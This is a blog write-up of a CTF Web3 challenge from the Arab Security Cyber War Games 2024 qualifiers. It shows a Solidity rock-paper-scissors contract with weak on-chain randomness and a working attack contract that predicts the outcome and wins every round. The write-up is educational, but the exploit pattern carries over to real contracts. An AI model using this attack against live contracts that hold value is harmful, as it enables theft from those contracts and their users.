- Published on
Arab Security Cyber War Games Qualifications 2024
- Authors
- Name
- Amr Zaki
Arab Security War Games Qualifications
Hello there, back again with another great War Games, with bunch of cool challenges. This year was no different, I managed to solve 3 out of 4 web challenges and 1 out of 3 mobile challenges and most intrestingly, one Web3 challenge. This was the first time I encounter a blockchain challenge and it was a bit painful but very fun experience. Let's get started.
Challenge Code
The challenge was a Smart Contract and they provided us with the Solidity code logic, and an address to the contract on the chain.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract EliteRockPaperScissors {
enum Move {
Rock,
Paper,
Scissors
}
address public owner;
uint8 public consecutiveWins;
constructor() {
owner = msg.sender;
}
function play(Move playerMove) public returns (string memory) {
Move contractMove = getRandomMove();
string memory result;
if (beats(playerMove, contractMove)) {
consecutiveWins++;
result = "You won this round!";
} else if (playerMove == contractMove) {
result = "It's a draw!";
} else {
consecutiveWins = 0;
result = "You lost this round!";
}
if (consecutiveWins == 10) {
result = "Congratulations! You have won 10 times consecutively!";
} else if (consecutiveWins > 10) {
result = "Wow! You have won more that 10 times consecutively, reseting to 0.";
consecutiveWins = 0;
}
return result;
}
function getRandomMove() private view returns (Move) {
uint256 randomValue = uint256(
keccak256(abi.encodePacked(block.timestamp, (block.number - 2)))
) % 3;
return Move(randomValue);
}
function beats(Move move1, Move move2) private pure returns (bool) {
return
(move1 == Move.Rock && move2 == Move.Scissors) ||
(move1 == Move.Paper && move2 == Move.Rock) ||
(move1 == Move.Scissors && move2 == Move.Paper);
}
}
Diving in
The contract was simple, it's a Rock Paper Scissors game, that generates a random move based on block.timestamp
and block.number
and we have to win 10 consecutive times to get the flag.
The challenge requested that MetaMask, which is a browser extension, is installed, but I didn't know how to interact with the contract. During the CTF, I did a lot of searching to understand how would I interact with this code and I found a great resource that I saved for later blockchain study.
I skimmed through that all of that channel videos and a thousand other tabs to understand what was I supposed to do first. I then found a website that I can use to deploy the contract to the blockchain and I can interact with it using the functions defined. The website is Remix IDE, the website requires that you have Eth on your account, but you can try with testnets.
You will start with 0.00 Eth but you can use Google's Eth faucet that will add 0.05 to your testnet account which is more than enough for testing purposes.
After setting the account and pasting the code on Remix, I played with the code for a bit to understand what is the random functionality and how is the choice generated.
Let's go through the line that is responsible for the random choice:
uint256 randomValue = uint256(keccak256(abi.encodePacked(block.timestamp, (block.number - 2)))) % 3;
- The
abi.encodePacked()
takes 2 parameters,block.timestamp
andblock.number - 2
, and concatenates them together. keccak256()
function hashes the concatenated value.uint256()
gets the numeric value of the hash bytes.- Lastly, the numeric value is divided by 3 and the remainder, 0, 1, or 2 is the the server's choice from the enum
Move
.
At first glance, the process seems secure, because the timestamp is unique for each second, and the block number is unique for each block. But this isn't the case. According to Solidity Docs, the following note says a lot about what we are trying to do.
Also this Stack Exchange explains why is it dangerous to use block.timestamp
as a source of randomness.
So, gathering all of the information, the attack in simple words is like this:
- We can implement the same logic which is used to find the Rock Paper Scissors choice in the original contract.
- Write a new Attack contract which will perform the
play()
functions which has the random choice inside of it and sends the value to the original contract. - Since the entire computaion at both contracts happens in same transaction, the
block.timestamp
andblock.number
remains same the both contracts. - So, knowing the choice, we will run the script 10 times and our consecutive wins will be 10 and get the flag.
I created another contract on Remix and saved it as EliteRockPaperScissorsAttack
with the following code:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./EliteRockPaperScissors.sol";
contract EliteRockPaperScissorsAttack {
enum Move {
Rock,
Paper,
Scissors
}
EliteRockPaperScissors public victimRPS;
uint8 public consecutiveWins;
# Here I am defining the address of the original contract.
constructor(address _victimRPS) {
victimRPS = EliteRockPaperScissors(_victimRPS);
consecutiveWins = EliteRockPaperScissorsAttack.consecutiveWins;
}
function getVariable() public view returns (uint256) {
return block.timestamp;
}
function getRandomMove() public returns (Move) {
uint256 randomValue = uint256(
keccak256(abi.encodePacked(block.timestamp, (block.number - 2)))
) % 3;
# if the choice was Rock
if(randomValue == 0) {
victimRPS.play(EliteRockPaperScissors.Move.Paper);
# if the choice was Paper
} else if (randomValue == 1) {
victimRPS.play(EliteRockPaperScissors.Move.Scissors);
# if the choice was Scissors
} else if (randomValue == 2 ) {
victimRPS.play(EliteRockPaperScissors.Move.Rock);
}
return Move(randomValue);
}
}
Running this script 10 times, consecutiveWins
was 10, I submitted the solution and got the flag
That's it, hope you enjoyed the challenge like I did. If you have any questions don't hesitate to reach-out.